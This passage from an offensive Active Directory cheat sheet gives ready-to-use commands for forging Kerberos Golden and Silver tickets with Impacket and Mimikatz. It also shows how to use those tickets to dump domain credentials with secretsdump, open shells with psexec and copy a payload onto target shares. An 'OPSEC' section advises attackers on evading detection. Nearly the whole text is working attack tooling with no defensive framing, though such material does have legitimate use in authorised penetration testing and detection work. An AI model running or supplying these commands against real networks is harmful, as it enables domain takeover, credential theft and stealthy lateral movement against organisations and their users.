impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -duration 3600 Administrator
# Specify target SPN (for specific service)
impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn cifs/dc01.contoso.local Administrator
# Export ticket
export KRB5CCNAME=Administrator.ccache
# Use with Impacket tools
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
impacket-secretsdump -k -no-pass <DOMAIN>/Administrator@<DC_FQDN>
OPSEC Considerations#
# Detection indicators:
# - Tickets with unusual lifetimes (10 years vs normal 10 hours)
# - RC4 encryption when AES is domain default
# - Tickets for non-existent users
# - Missing normal ticket attributes
# Better OPSEC:
# 1. Use realistic ticket lifetimes (hours, not years)
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /endin:600 /ptt
# 2. Use AES256 instead of RC4
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /aes256:<AES_KEY> /ptt
# 3. Match existing user accounts (don't create fake users)
kerberos::golden /user:<EXISTING_USER> /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /ptt
# 4. Rotate tickets regularly (don't use same ticket forever)
# 5. Use during business hours to blend with normal activity
Silver Ticket#
Forge service ticket (TGS) using service account hash. Provides access to specific service without contacting DC.
Advantages: Never contacts KDC, harder to detect than Golden Ticket Limitations: Only works for specific service, requires service account hash
Gather Required Information#
# 1. Get service account hash
# For computer account (e.g., CIFS service)
impacket-secretsdump <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
# For service account (e.g., MSSQL, HTTP)
impacket-secretsdump -just-dc-user <SERVICE_ACCOUNT> <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
# 2. Get Domain SID (same as Golden Ticket)
# 3. Identify target service SPN
setspn -L <SERVICE_ACCOUNT>
Create Silver Ticket with Mimikatz#
# CIFS service ticket (file sharing)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGET_SERVER_FQDN> /service:cifs /rc4:<COMPUTER_HASH> /ptt
# With AES256 key
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGET_SERVER_FQDN> /service:cifs /aes256:<AES256_KEY> /ptt
# LDAP service (for DCSync-like operations)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<DC_FQDN> /service:ldap /rc4:<DC_HASH> /ptt
# HOST service (for PsExec, WMI, scheduled tasks)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGET_FQDN> /service:host /rc4:<COMPUTER_HASH> /ptt
# HTTP service (web applications)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<WEBAPP_FQDN> /service:http /rc4:<SERVICE_HASH> /ptt
# MSSQL service
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<SQL_SERVER_FQDN> /service:mssql /rc4:<SERVICE_HASH> /ptt
# Save to file
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /target:<TARGET_FQDN> /service:cifs /rc4:<HASH> /ticket:silver.kirbi
Create Silver Ticket with Impacket#
# CIFS service ticket
impacket-ticketer -nthash <COMPUTER_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn cifs/<TARGET_FQDN> Administrator
# LDAP service
impacket-ticketer -nthash <DC_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn ldap/<DC_FQDN> Administrator
# HOST service
impacket-ticketer -nthash <COMPUTER_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn host/<TARGET_FQDN> Administrator
# With AES key
impacket-ticketer -aesKey <AES256_KEY> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> -spn cifs/<TARGET_FQDN> Administrator
# Export and use
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass <DOMAIN>/Administrator@<TARGET_FQDN>
Practical Usage#
# After creating CIFS silver ticket
dir \\<TARGET_SERVER>\C$
copy payload.exe \\<TARGET_SERVER>\C$\Windows\Temp\
# After creating HOST silver ticket
# Can use PsExec, WMI, scheduled tasks
psexec.exe \\<TARGET_SERVER> cmd.exe
# After creating LDAP silver ticket
# Can perform directory queries
ldapsearch -H ldap://<TARGET_SERVER> -b "DC=contoso,DC=local"